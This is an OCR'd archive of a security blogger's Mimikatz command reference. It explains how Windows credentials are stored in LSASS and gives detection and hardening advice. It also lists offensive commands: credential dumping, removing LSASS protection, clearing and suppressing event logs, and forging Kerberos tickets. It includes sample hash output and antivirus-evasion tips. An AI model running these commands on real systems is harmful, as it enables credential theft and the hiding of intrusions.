https://adsecurity.org/?page_id=1821

Mimikatz

Published: 2015-09-20 - Archived: 2026-04-05 20:10:11 UTC

Unofficial Guide to Mimikatz & Command Reference

mimikatz 2.1.1 (x64) built on Nov 28 2017 ©3:15:06
"A La Vie, A L'Amour"” - (oe.eo0)

/*** Benjamin DELPY "gentilkiwi® ( benjamin@gentilkiwi.com )
> http://blog.gentilkiwi.com/mimikatz

Vincent LE TOUX ( vincent.letoux@gmail.com )

0 kaxf

gon.com

> http://pingcastle.com / http://mysmartl

Mimikatz Command Reference Version: mimikatz 2.1.1 (x64) built on Nov 28 2017
Page last updated: February 17th, 2018

THIS PAGE IS ARCHIVED AND NO LONGER BEING UPDATED
Check out _The Mimikatz Missing Manual.

Introduction:

It seems like many people on both sides of the fence, Red & Blue, aren’t familiar with most of Mimikatz’s
capabilities, so I put together this information on all the available commands I could find. I plan to update as I can
with additional content about the most useful commands. This way both Red & Blue teams better understand the

full capability and are better able to secure the enterprises they are hired to protect.

I developed this reference after speaking with a lot of people, hired to both defend and attack networks, I learned
that outside of a few of the mot frequently used Mimikatz commands, not many knew about the full capability of
Mimikatz. This page details as best as possible what each command is, how it works, the rights required to run it,
the parameters (required & optional), as well as screenshots and additional context (where possible). There are
several I haven’t delved fully into, but expect to in the near future. While I will continue to post articles to
ADSecurity.org about different aspects of Mimikatz usage, I plan to keep this as updated and as comprehensive as
possible. With that noted, this page will never be as up-to-date as the Mimikatz github. The best Mimikatz

documentation is the source code.

This information is provided to help organizations better understand Mimikatz capability and is not to be used for
unlawful activity. Do NOT use Mimikatz on computers you don’t own or have been allowed/approved to. In other

words, don’t pen-test/red-team systems with Mimikatz without a “get out of jail free card”.

This page and all content contained within is not to be reproduced in whole or part without express written

consent by this page’s author.

I did not write Mimikatz and therefore have no special insight. All of the information on this page is derived from
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using Mimikatz, reading the source code, conversations with Benjamin, his Twitter, blog & GitHub pages, and my
own work/research.

Any errors on this page are my own only. Send comments/kudus here.

Many thanks to Benjamin Delpy for writing and continuously updating Mimikatz. His work has greatly improved

the security of Windows, especially Windows 10.
Mimikatz Overview:

Mimikatz is one of the best tools to gather credential data from Windows systems. In fact I consider Mimikatz to
be the “Swiss army knife” (or multi-tool) of Windows credentials — that one tool that can do everything. Since the
author of Mimikatz, Benjamin Delpy, is French most of the resources describing Mimikatz usage is in French, at
least on his blog. The Mimikatz GitHub repository is in English and includes useful information on command

usage.

Mimikatz is a Windows x32/x64 program coded in C by Benjamin Delpy (@gentilkiwi) in 2007 to learn more
about Windows credentials (and as a Proof of Concept). There are two optional components that provide
additional features, mimidrv (driver to interact with the Windows kernal) and mimilib (AppLocker bypass, Auth
package/SSP, password filter, and sekurlsa for WinDBG). Mimikatz requires administrator or SYSTEM and often
debug rights in order to perform certain actions and interact with the LSASS process (depending on the action

requested). The Mimikatz.exe contains, or at least should contain, all capability noted there.

Mimikatz capability can be leveraged by compiling and running your own version, running the Mimikatz

executable, leveraging the MetaSploit script, the official Invoke-Mimikatz PowerShell version, or one of the

dozen of Mimikatz PowerShell variants (I happen to be partial to PowerShell Empire, because Empire is

awesomel).

The Mimikatz source code and release binaries are available on GitHub and is licensed under Creative Commons
with the following detail:

You are free to:

* Share — copy and redistribute the material in any medium or format

* Adapt — remix, transform, and build upon the material

* for any purpose, even commercially.

The licensor cannot revoke these freedoms as long as you follow the license terms.

Attribution — You must give appropriate credit, provide a link to the license, and indicate if changes were made.

You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.
No additional restrictions — You may not apply legal terms or technological measures that legally restrict others

from doing anything the license permits.

Mimikatz Author(s):

e Benjamin DELPY gentilkiwi , you can contact him on Twitter ( @gentilkiwi ) or by mail ( benjamin [at]
gentilkiwi.com )
e DCSync function in lsadump module was co-written with Vincent LE TOUX, you contact him by mail (

vincent.letoux [at] gmail.com ) or visit his website ( http://www.mysmartlogon.com )
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“Official” Mimikatz Links:

Mimikatz GitHub Location (Source Code)
Mimikatz Releases (includes binaries)
Mimikatz GitHub Wiki (Documentation, some of which is reproduced here)

GentilKiwi Blog (much of it is in French, use Chrome/other for translation)
Mimikatz & Credentials:

After a user logs on, a variety of credentials are generated and stored in the Local Security Authority Subsystem
Service, LSASS, process in memory. This is meant to facilitate single sign-on (SSO) ensuring a user isn’t
prompted each time resource access is requested. The credential data may include Kerberos tickets, NTLM
password hashes, LM password hashes (if the password is <15 characters, depending on Windows OS version and
patch level), and even clear-text passwords (to support WDigest and SSP authentication among others. While you

can prevent a Windows computer from creating the LM hash in the local computer SAM database (and the AD

database), this doesn’t prevent the system from generating the LM hash in memory. By default, Windows Server

2008 and Windows Vista no longer generate LM hashes for users unless explicitly enabled. Starting with

Windows 8.1 and Windows Server 2012 R2, the LM hash and “clear-text” password are no longer in memory.
This functionality was also “back-ported” to earlier versions of Windows (Windows 7/8/2008R2/2012) in

kb2871997, though in order to prevent the “clear-text” password from being placed in LSASS, the following
registry key needs to be set to “0” (Digest Disabled):

HKEY_LOCAL_MACHINE\SY STEM\CurrentControlSet\Control\SecurityProviders\WDigest
“UseLogonCredential”’(DWORD)

I Registry Editor
File Edit View Favorites Help
ScEvents A | Name Type Data
ScsiPort ab|(Default) REG SZ (value not set)
SecureBoot 8 Debuglevel REG_DWORD (x00000000 (0)
SecurePipeServers ab|DigestEncryptionAlgorit.. REG_SZ 3desrcd
v ¥ Securitybroviders  [geqatiate REGDWORD 0400000000 (0
321?3'&'? %UselogonCredential  REG.DWORD  0x00000001 (1)
Woigest I #o|UTFBHTTP REG_DWORD 0x00000001 (1)
. : #s|UTFBSASL REG_DWORD 0x00000001 (1)
Computer\HKEY_LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest

This registry key is worth monitoring in your environment since an attacker may wish to set it to 1 to enable
Digest password support which forces “clear-text” passwords to be placed in LSASS on any version of Windows
from Windows 7/2008R2 up to Windows 10/2012R2. Windows 8.1/2012 R2 and newer do not have a
“UseLogonCredential” DWORD value, so it would have to be created. The existence of this key on these systems

may indicate a problem.
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Note that running code directly on a target system is rarely desirable for an attacker, so Mimikatz is continuously
updated with new capability to be run remotely. This include running Mimikatz remotely against a remote system
to dump credentials, using Invoke-Mimikatz remotely with PowerShell Remoting, and DCSync, the latest feature
to grab password data for any Active Directory account in the domain remotely against a DC without any
Mimikatz code being run on the DC (it uses Microsoft’s Domain Controller official replication APIs, once the

correct rights are attained).

Available Credentials by OS:

Benjamin Delpy posted an Excel chart on OneDrive (no longer available, but shown below) that shows what type
of credential data is available in memory (LSASS), including on Windows 8.1 and Windows 2012 R2 which have

enhanced protection mechanisms reducing the amount and type of credentials kept in memory.
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PowerShell & Mimikatz:

The majority of Mimikatz functionality is available in PowerSploit (PowerShell Post-Exploitation Framework)
through the “Invoke-Mimikatz” PowerShell script (written by Joseph Bialek) which “leverages Mimikatz 2.0 and
Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things
such as dump credentials without ever writing the Mimikatz binary to disk.” Note that the PowerSploit framework

is now hosted in the “PowerShellMafia” GitHub repository.

What gives Invoke-Mimikatz its “magic” is the ability to reflectively load the Mimikatz DLL (embedded in the
script) into memory. The Invoke-Mimikatz code can be downloaded from the Internet (or intranet server), and
executed from memory without anything touching disk. Furthermore, if Invoke-Mimikatz is run with the
appropriate rights and the target computer has PowerShell Remoting enabled, it can pull credentials from other
systems, as well as execute the standard Mimikatz commands remotely, without files being dropped on the remote

system.

Invoke-Mimikatz is not updated when Mimikatz is, though it can be (manually). One can swap out the DLL

encoded elements (32bit & 64bit versions) with newer ones. Will Schroeder (@HarmJQy) has information on

updating the Mimikatz DLLs in Invoke-Mimikatz (it’s not a very complicated process). The PowerShell Empire

version of Invoke-Mimikatz is usually kept up to date.

e Use mimikatz to dump credentials out of LSASS: Invoke-Mimikatz -DumpCreds
e Use mimikatz to export all private certificates (even if they are marked non-exportable): Invoke-Mimikatz —

DumpCerts
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o FElevate privilege to have debug rights on remote computer: Invoke-Mimikatz -Command “privilege::debug

exit” -ComputerName “computerl”
The Invoke-Mimikatz “Command” parameter enables Invoke-Mimikatz to run custom Mimikatz commands.

Defenders should expect that any functionality included in Mimikatz is available in Invoke-Mimikatz.
Detecting Mimikatz:

There are several ways to potentially detect Mimikatz use on a network, though none are guaranteed. Since
Mimikatz’s source code is on GitHub, anyone with Visual Studio can compile their own version. I built my own
version of Mimikatz called “kitikatz” by replacing all instances of “mimikatz” with “kitikatz” and the detection
rate at VirusTotal was not good (4/54). Windows Defender on my Windows 10 system detected it. I then replaced
“Benjamin Delpy” and “gentilkiwi” with the same words, just replacing the e’s with 3’s and the i’s with 1’s. The
detection rate was still poor (4/54). Windows Defender on my Windows 10 system did not detect it. So, your

mileage will vary regarding detection. While VirusTotal is not the best method to determine AV detection, it is a

relatively simple method to get some basic numbers.

e Benjamin Delpy publishes YARA rules for Mimikatz on the Mimkatz GitHub repository.

e Run AntiVirus software with the latest definition files. According to VirusTotal, the mimikatz.exe dated
11/11/2015 (32bit & 64bit) is detected by 35/35 of the AV engines. Renaming the file doesn’t change the

scan results. Note that Benjamin has noted real-world results to be_less successful. However, AV will

usually flag the known bad files. AntiVirus is part of foundational security — the first layer in “defense in
depth”.

o Mimikatz (as of October) activates attached BusyLights. [implemented in Mimikatz version 2.0 alpha
20151008 (oe.eo) edition]

o Leverage security software to identify processes that interact with LSASS. Security software that monitors

for process injection may also be able to regularly detect Mimikatz use.

» HoneyTokens/HoneyHashes involves placing special credentials in memory on a number of computers in

the enterprise. These credentials are flagged so when anyone attempts to use them, a critical alert goes out.
this requires some sort of push method as well as placing credentials that are attractive to an attacker. In
theory, this could detect credential theft and use in the environment.

o If the WDIGEST registry key
(HKEY_LOCAL_MACHINE\SY STEM\CurrentControlSet\Control\SecurityProviders\WDigest) is
supposed to be set to “0” in the enterprise to prevent “clear-text” passwords from being stored in LSASS
and there are systems where it was switched to “1”, this may be indicative of credential theft activity. This
registry key is worth monitoring in your environment since an attacker may wish to set it to 0 to enable
Digest password support which forces “clear-text” passwords to be placed in LSASS on any version of
Windows from Windows 7/2008R2 up to Windows 10/2012R2 (probably 2016 as well).

e Forged Kerberos ticket detection is covered on this page I published in early 2015. These methods can

detect Golden Tickets, Silver Tickets, and Trust Tickets. I also have information on how to detect MS14-

068 Kerberos vulnerability exploitation.

e Enable LSA Protection on all Windows versions in the enterprise that supports it. This prevents Mimikatz

from working “out-of-the-box” and requires use of the Mimikatz driver which logs events when it interacts
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with LSASS.

e There are new/updated events starting with Windows 10 and Windows Server 2016 to potentially detect

Mimikatz use:

Added a default process SACL to LSASS.exe

In Windows 10, a default process SACL was added to LSASS.exe to log processes attempting to access
LSASS.exe. The SACL is L”S:(AU;SAFA;0x0010;;;WD)”. You can enable this under Advanced Audit
Policy Configuration\Object Access\Audit Kernel Object.

This can help identify attacks that steal credentials from the memory of a process.

Mimikatz & LSA Protection:

Windows Server 2012 R2 and Windows 8.1 includes a new feature called LSA Protection which involves enabling
LSASS as a protected process on Windows Server 2012 R2 (Mimikatz can bypass with a driver, but that should

make some noise in the event logs):

The LSA, which includes the Local Security Authority Server Service (LSASS) process, validates users for local
and remote sign-ins and enforces local security policies. The Windows 8.1 operating system provides additional
protection for the LSA to prevent reading memory and code injection by non-protected processes. This provides

added security for the credentials that the LSA stores and manages.
Enabling LSA protection:

1. Open the Registry Editor (RegEdit.exe), and navigate to the registry key that is located at:
HKEY_LOCAL_MACHINE\SY STEM\CurrentControlSet\Control\Lsa and Set the value of the registry
key to: “RunAsPPL”=dword:00000001.

2. Create a new GPO and browse to Computer Configuration, Preferences, Windows Settings. Right-click
Registry, point to New, and then click Registry Item. The New Registry Properties dialog box appears. In
the Hive list, click HKEY_LOCAL_MACHINE. In the Key Path list, browse to
SYSTEM\CurrentControlSet\Control\Lsa. In the Value name box, type RunAsPPL. In the Value type box,
click the REG_DWORD. In the Value data box, type 00000001.Click OK.

LSA Protection prevents non-protected processes from interacting with LSASS. Mimikatz can still bypass this

with a driver (“!+”).

mimikatz #Iprjv11ege::debug

[*] mimikatz driver not present

[+] mimikatz driver successfully registered
[+] mimikatz driver ACL to everyone

[+] mimikatz driver started

mimikatz # !processprotect /process:lsass.exe /remove
Process : 1sass.exe
PID 492 -> 00/00 [0-0-0]

Detecting Invoke-Mimikatz:
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e Ensure all Windows systems have PowerShell v3 or newer. Newer versions of PowerShell have better
logging features, especially PowerShell v5.

e Enable PowerShell Module Logging via Group Policy: Computer Configuration, Policies, Administrative
Templates, Windows Components, and Windows PowerShell, Turn on Module Logging. Enter “*” and

click OK. This will log all PowerShell activity including all PowerShell modules.

A Turn on Module Logging =i L |
[} Tum on Module Logging I:‘N‘“ sering
O Not Configured ~ Comment: -
@) Enabled
O Disabled 4
Supported on: [ a¢ jeast Microsoft Windows 7 or Windows Server 2008 family ~
Options Help:
Show Contents (===
To tum on logging for one d
Show, and then type the mo|
Wildcards are supported. Module Names:

Module Names: | Show... Value

To tum on logging for the
core modules, type the follof
the list;

Microsoft.PowerShell.”

Microsoft.WSMan.Manager

I =

‘ oK H Can:el| Apply |

e PowerShell activity will be logged to the PowerShell Operational Log. Push or pull these events to a

central logging server (via Windows Event Forwarding or similar) or SIEM.

o Parse PowerShell events for the following:
o “System.Reflection.AssemblyName”
o “System.Reflection.Emit.AssemblyBuilderAccess “
o “System.Runtime.InteropServices.Marshal AsAttribute”
o “TOKEN_PRIVILEGES”
o “SE_PRIVILEGE_ENABLED“

Note: While it may be possible to identify Mimikatz usage by alerting on “mimikatz”, “Delpy”, or “gentilkiwi”, a

“sophisticated” attacker will likely roll their own version of Mimikatz or Invoke-Mimikatz without these keywords.
Detecting Offensive PowerShell Tools:

Many PowerShell offensive tools use the following calls which are logged in PowerShell Module Logging.

e “GetDelegateForFunctionPointer”

o “System.Reflection.AssemblyName*

o “System.Reflection.Emit.AssemblyBuilderAccess*

e “System.Management.Automation.WindowsErrorReporting”
e “MiniDumpWriteDump”

e “TOKEN_IMPERSONATE”

o “TOKEN_DUPLICATE”

e “TOKEN_ADJUST_PRIVILEGES”
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e “TOKEN_PRIVILEGES”

“Sneaky” Mimikatz Execution:

Casey Smith (@subtee & blog) has done a LOT of work showing how application whitelisting is not the panacea

many believe it to be. Despite that, application whitelisting is a solid layer in a defense in depth strategy.

Casey also has come up with many creative and sneaky ways to execute Mimikatz.

o Execute Mimikatz Inside of RegSvcs or RegAsm — .NET utilities Proof of Concept
o Mimikatz packed & hidden in an image file

¢ Downloads and Executes Mimikatz In Memory From GitHub

Note: Subtee has discontinued his GitHub repo, so these links no longer work and have been removed.

Most Popular Mimikatz Commands:

Here are just some of the most popular Mimikatz command and related functionality.

e CRYPTO::Certificates — list/export certificates
o KERBEROS::Golden — create golden/silver/trust tickets
o KERBEROS::List — List all user tickets (TGT and TGS) in user memory. No special privileges required

since it only displays the current user’s tickets.Similar to functionality of “klist”.
o KERBEROS::PTT — pass the ticket. Typically used to inject a stolen or forged Kerberos ticket

(golden/silver/trust).

o LSADUMP::DCSync — ask a DC to synchronize an object (get password data for account). No need to run
code on DC.

o LSADUMP::LSA — Ask LSA Server to retrieve SAM/AD enterprise (normal, patch on the fly or inject).

Use to dump all Active Directory domain credentials from a Domain Controller or Isass.dmp dump file.

Also used to get specific account credential such as krbtgt with the parameter /name: “/name:krbtgt”
o LSADUMP::SAM - get the SysKey to decrypt SAM entries (from registry or hive). The SAM option

connects to the local Security Account Manager (SAM) database and dumps credentials for local accounts.

This is used to dump all local credentials on a Windows computer.

o LSADUMP::Trust — Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fly).
Dumps trust keys (passwords) for all associated trusts (domain/forest).

e MISC::AddSid — Add to SIDHistory to user account. The first value is the target account and the second
value is the account/group name(s) (or SID). Moved to SID:modify as of May 6th, 2016.

e MISC::MemSSP — Inject a malicious Windows SSP to log locally authenticated credentials.

e MISC::Skeleton — Inject Skeleton Key into LSASS process on Domain Controller. This enables all user
authentication to the Skeleton Key patched DC to use a “master password” (aka Skeleton Keys) as well as
their usual password.

e PRIVILEGE::Debug — get debug rights (this or Local System rights is required for many Mimikatz

commands).
o SEKURLSA::Ekeys — list Kerberos encryption keys
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o SEKURLSA::Kerberos — List Kerberos credentials for all authenticated users (including services and
computer account)

o SEKURLSA::Krbtgt — get Domain Kerberos service account (KRBTGT)password data

o SEKURLSA::LogonPasswords — lists all available provider credentials. This usually shows recently

logged on user and computer credentials.
o SEKURLSA::Pth — Pass- theHash and Over-Pass-the-Hash
o SEKURLSA::Tickets — Lists all available Kerberos tickets for all recently authenticated users, including

services running under the context of a user account and the local computer’s AD computer account.
Unlike kerberos::list, sekurlsa uses memory reading and is not subject to key export restrictions. sekurlsa
can access tickets of others sessions (users).

o TOKEN::List — list all tokens of the system

o TOKEN::Elevate — impersonate a token. Used to elevate permissions to SYSTEM (default) or find a

domain admin token on the box

o TOKEN::Elevate /domainadmin — impersonate a token with Domain Admin credentials.

ADSecurity Mimikatz Posts:

All posts mentioning Mimikatz: ADSecurity.org Mimikatz Posts

o Mimikatz and Active Directory Kerberos Attacks

e Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync
o How Attackers Use Kerberos Silver Tickets to Exploit Systems

e Mimikatz DCSync Usage, Exploitation, and Detection

o Sneaky Active Directory Persistence #12: Malicious Security Support Provider (SSP)

e Sneaky Active Directory Persistence #11: Directory Service Restore Mode (DSRM),

o Kerberos Golden Tickets are Now More Golden

o It’s All About Trust — Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts

e Detecting Mimikatz Use

Mimikatz Command Guide:

Mimikatz can be executed in interactive mode by simply running “Mimikatz.exe” or pass it a command and exit

(example: ‘Mimikatz “kerberos::list” exit’). Invoke-Mimikatz does not have an interactive mode.

Mimikatz can be used to pass commands from the command line to Mimikatz for processing in order which is
useful for Invoke-Mimikatz or when using Mimikatz in scripts. Appending “exit” exits Mimikatz after the last

command is executed (do this so Mimikatz exits gracefully).

PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit

. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32)
N

#/ o\t /Fxx*

## \ / ## Benjamin DELPY ‘gentilkiwi‘ ( benjamin@gentilkiwi.com )
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"## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
"Hithis with 17 modules * * */

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : @ ; 646260 (00000000:0009dc74)

Session : RemoteInteractive from 2

User Name : adsadministrator

Domain : ADSECLAB

Logon Server : ADSDCO3

Logon Time : 11/27/2015 11:41:27 AM

SID : S-1-5-21-1581655573-3923512380-696647894-500
msv :

[00000003] Primary
* Username : ADSAdministrator
* Domain : ADSECLAB

* NTLM : 5164b7a0fda365d56739954bbbc23835

* SHA1 : f8db297ch2ae40318915675cebe79643d0d3b09f
[00010000] CredentialKeys

* NTLM : 5164b7a0fda365d56739954bbbc23835

* SHAT : t8db297ch2ae403t8915675cebe79643d0d3b09f
tspkg :

wdigest :

* Username : ADSAdministrator

* Domain  : ADSECLAB

* Password : (null)

kerberos :

* Username : adsadministrator

* Domain  : LAB.ADSECURITY.ORG
* Password : (null)

ssp : KO

The interactive mode provides a “Mimikatz console” where commands can be entered and executed in real-time:

PS C:\temp\mimikatz> .\mimikatz

A###E. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32)
it A

i/ \ ## o/ *
# \ / ## Benjamin DELPY ‘gentilkiwi‘ ( benjamin@gentilkiwi.com )
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"## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
"Hithis with 17 modules * * */

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : @ ; 646260 (00000000:0009dc74)

Session : RemoteInteractive from 2

User Name : adsadministrator

Domain : ADSECLAB

Logon Server : ADSDCO3

Logon Time : 11/27/2015 11:41:27 AM

SID : S-1-5-21-1581655573-3923512380-696647894-500
msv :

[00000003] Primary
* Username : ADSAdministrator
* Domain : ADSECLAB

* NTLM : 5164b7a0fda365d56739954bbbc23835

* SHA1 : f8db297ch2ae40318915675cebe79643d0d3b09f
[00010000] CredentialKeys

* NTLM : 5164b7a0fda365d56739954bbbc23835

* SHAT : t8db297ch2ae403t8915675cebe79643d0d3b09f
tspkg :

wdigest :

* Username : ADSAdministrator

* Domain  : ADSECLAB

* Password : (null)

kerberos :

* Username : adsadministrator

* Domain  : LAB.ADSECURITY.ORG
* Password : (null)

ssp : KO

credman :

Mimikatz Command Reference:

Mimikatz Version History

Mimikatz Modules:

e BUSYLIGHT
e CRYPTO
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o CRYPTO::Certificates
e DPAPI
« EVENT
e IIS
« KERBEROS
Golden Tickets

Silver Tickets

[o]

o

o

Trust Tickets
KERBEROS::PTT
o LSADUMP
o DCSync
o DCShadow
o LSADUMP::LSA
o LSADUMP::NetSync
o LSADUMP::SAM
o LSADUMP::Trust
e MISC
e MINESWEEPER
e NET
e PRIVILEGE
o PRIVILEGE::Debug
e PROCESS
* RPC
e SERVICE
o SEKURLSA
SEKURLSA::Kerberos
SEKURLSA::Krbtgt
SEKURLSA::L.ogonPasswords
SEKURLSA::Pth

o

[o]

o

o

o

e SID
e STANDARD
e SYSENV
« TOKEN
o TOKEN::Elevate
o TOKEN::Elevate /domainadmin
« IS
e VAULT

NOTE: Any item marked “experimental” should only be used in test environments.

Version
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Run Version to get the Mimikatz version and additional information about the Windows system, such as the

version and if Credential Manager is running.

BUSYLIGHT

The BUSYLIGHT Mimikatz module provides additional information for and control of connected BusyLights.
BUSYLIGHT::List

BUSYLIGHT:: Off

BUSYLIGHT::Single

BUSYLIGHT::Status

BUSYLIGHT::Test
CRYPTO

The CRYPTO Mimikatz module provides advanced capability to interface with Windows cryptographic functions
(CryptoAPI).

Typical use is to export certificates that aren’t marked as “exportable.”

CRYPTO::CAPI- (experimental) Patch CryptoAPI layer for easy export

mimikatz # crypto::capi

Local CryptoAPI patched

CRYPTO::Certificates — list/export certificates

Carlos Perez (aka DarkOperator) has a_great blog post on using Mimikatz to export certificates.

This command lists certificates and properties of theirs keys. It can export certificates too. Typically requires
“privilege::debug”

e /systemstore — optional — the system store that must be used (default:
CERT_SYSTEM_STORE_CURRENT_USER)

 /store — optional — the store that must be used to list/export certificates (default: My) — full list with
crypto::stores

 /export — optional — export all certificates to files (public parts in DER, private parts in PFX files —

password protected with: mimikatz)
Benjamin’s comments on CRYPTO:Certificates:
CRYPTO::CertToHW - try to export a software CA to a crypto (virtual)hardware
CRYPTO::CNG — (experimental) Patch CNG service for easy export (patches “Keylso” service)

CRYPTO::Extract — [experimental] Extract keys from CAPI RSA/AES provider
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CRYPTO::Hash — hash a password with optional username

mimikatz # crypto::hash ADSECLAB\HanSolo Falcon99
NTLM: 31d6cfeddl16ae931b73c59d7e0c089cO
LM : aad3b435b51404eeaad3b435b51404ee

MD5 : d41d8cd98t00b204e9800998ectB8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890atd80709
SHA2: e3b0c44298fclc149atbf4c89961fb92427ae41e4649b934ca495991b7852b855

CRYPTO::Keys- list/export keys containers

mimikatz # crypto::keys

* Store : 'user’

* Provider : "MS_ENHANCED_PROV' ('Microsoft Enhanced Cryptographic Provider v1.0")
* Provider type : "PROV_RSA_FULL' (1)

* CNG Provider : 'Microsoft Software Key Storage Provider’

CryptoAPI keys :

CNG keys :

CRYPTO::Providers — list cryptographic providers

mimikatz # crypto::providers

CryptoAPI providers :

. Microsoft Base Cryptographic Provider v1.0

. Microsoft Base DSS and Diffie-Hellman Cryptographic Provider

. Microsoft Base DSS Cryptographic Provider

. Microsoft Base Smart Card Crypto Provider

Microsoft DH SChannel Cryptographic Provider

. Microsoft Enhanced Cryptographic Provider v1.0

. Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider
Microsoft Enhanced RSA and AES Cryptographic Provider

. Microsoft RSA ScChannel Cryptographic Provider
. Microsoft Strong Cryptographic Provider

RDW‘JG"JU‘I-RNWNI—‘CD

)
()}

SV WNRE OZ

providers :

. Microsoft Key Protection Provider
Microsoft Platform Crypto Provider

. Microsoft Primitive Provider

. Microsoft Smart Card Key Storage Provider
Microsoft Software Key Storage Provider

. Microsoft SSL Protocol Provider

. Windows Client Key Protection Provider

CRYPTO::SC — List smartcard readers
CRYPTO::SCAuth- Create an authentication certificate (smartcard like) from a CA
CRYPTO::Stores — list cryptographic stores

e /systemstore — optional — the system store that must be used to list stores (default:
CERT_SYSTEM_STORE_CURRENT_USER)

Page 14 of 79


https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Crypto-Providers.jpg
https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Crypto-Providers.jpg

https://adsecurity.org/?page_id=1821

Store Options:

CERT_SYSTEM_STORE_CURRENT_USER or CURRENT_USER
CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY or USER_GROUP_POLICY
CERT_SYSTEM_STORE_LOCAL_MACHINE or LOCAL_MACHINE
CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY or LOCAL_MACHINE_GROUP_POLICY
CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE or LOCAL_MACHINE_ENTERPRISE
CERT_SYSTEM_STORE_CURRENT_SERVICE or CURRENT_SERVICE

CERT_SYSTEM_STORE_USERS or USERS

CERT_SYSTEM_STORE_SERVICES or SERVICES

mimikatz # crypto::stores
Asking for System Store 'CURRENT_USER' (0x00010000)

. TrustedPublisher
Disallowed

. AuthRoot

. TrustedPeople
ClientAuthIssuer
. ACRS

. SmartCardRoot

0
1k
2.
3
4,
5
6.
7
8
9.
0
1

[emrgyra—y

CRYPTO::System — Describe a Windows System Certificate (file, TODO:registry or hive).

DPAPI

The DPAPI Mimikatz module provides capability to extract Windows stored (and protected) credential data using
DPAPI. DPAPI is the official Windows method to protect (encrypt) local data (usually passwords).

Starting with Microsoft® Windows® 2000, the operating system began to provide a data protection
application-programming interface (API). This Data Protection API (DPAPI) is a pair of function calls
that provide operating system-level data protection services to user and system processes. By operating
system-level, we mean a service that is provided by the operating system itself and does not require any
additional libraries. By data protection, we mean a service that provides confidentiality of data by using
encryption. Because data protection is part of the operating system, every application can now secure
data without needing any specific cryptographic code other than the necessary function calls to DPAPI.
These calls are two simple functions with various options to modify DPAPI behavior. Overall, DPAPI is
an easy-to-use service that will benefit developers who must provide protection for sensitive application

data, such as passwords and private keys.

DPAPI is a password-based data protection service. It requires a password to provide protection. The
drawback, of course, is that all protection provided by DPAPI rests on the password provided. This is
offset by DPAPI using proven cryptographic routines, specifically the strong Triple-DES algorithm, and

strong keys, which we’ll cover in more detail later. Because DPAPI is focused on providing protection
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for users and requires a password to provide this protection, it logically uses the user’s logon password

for protection.
There has been some work done previously regarding attacking DPAPI:

» Reversing DPAPI and Stealing Windows Secrets Offline

o DPAPI Secrets. Security analysis and data recovery in DPAPI

Benjamin Delpy has an Excel spreadsheet on OneDrive which lists Windows locations that may have stored

credentials — view the spreadsheet online.

DPAPI::Blob — Unprotect a DPAPI blob with API or Masterkey
DPAPI:Cache

DPAPI::CAPI — CAPI key test

DPAPI::Chrome — Chrome test

DPAPI::CNG — CNG key test

DPAPI::Cred — CRE test

DPAPI::CredHist — Configure a Credhist file

DPAPI::MasterKey — Configure a Masterkey file, unprotect (key depending)

DPAPI::Protect — Protect data using DPAPI
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mimikatz # dpapi::protect

data : mimikatz
description

IEES :

prompt flags:

entropy :

dwVersion : 00000001 - 1

guidProvider : {df9d8cde-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1

guidMasterKey : {722f6fbd-dee5-488a-869d-a90603bcbald}
dwFlags : ©00oLeeRe - 0 ()

dwDescriptionLen : 900LeRY2 - 2

szDescription :

algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptlLen : 00000100 - 256

dwSaltLen : 00000020 - 32

pbSalt : 1a8fdec513bcf1c1972344¢c614515b7Ffd47cadcdccadeb3ff15¢c38ecad63bcll
dwHmacKeylLen : 000PLOLe - ©

pbHmackKey :

algHash : 9PPR8MRe - 32782 (CALG_SHA_512)
dwAlgHashLen : 90PLO200 - 512

dwHmac2KeyLen : 00000020 - 32

pbHmack2Key : e78747d5bc2850cf97d295a4c911b8c7fe3888b9e74532da%98eed9a23b6ceeld

dwDatalen : 00000020 - 32

pbData 1 959d4215d05fcabfe69f147181869231717838b83e99f2feaba®9f89a9514195

dwSignLen . 000PLR4e - 64

pbSign : £19d83ad3d9e7d330387e688a91ee434611077080402b4394e53462441d65Feb5dfb29833chlealalbsedd
563¢85935ac304498260d06eedb5b106124866a993

DPAPI::Vault — VAULT test

DPAPI::WIFI — WIFI test (XML profile required — reference Ben’s spreadsheet)

DPAPI:: WWAN — WWAN test (XML profile required — reference Ben’s spreadsheet)

EVENT

EVENT::Clear — Clear an event log
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3 jamin DELPY “gentilkiwi’ ( benjamin@gentilkiwi.com )
## v ' ://blog. gentiTkiwi. com/mimik
e with 16 modules = =

mimikatz # event::clear
ing "Security™ event Tog
68765 event

- Cleared !

- 1 event(s)

EVENT:::Drop — (experimental) Patch Events service to avoid new events

mimikatz # event::drop

"EventLog” serwvice patched

Note:
Run privilege::debug then event::drop to patch the event log. Then run Event::Clear to clear the event log without

any log cleared event (1102) being logged.

IS

IIS XML Config module
I1S::AppHost
KERBEROS

The KERBEROS Mimikatz module is used to interface with the official Microsoft Kerberos API.

No special rights are required for the commands in this module.

KERBEROS::Ask — request TGS tickets

1. 1ab®, adsecurity.org
ecurity.org
esentative at screen

KERBEROS::Clist — list tickets in MIT/Heimdall ccache

KERBEROS::Golden — create golden/silver/trust tickets

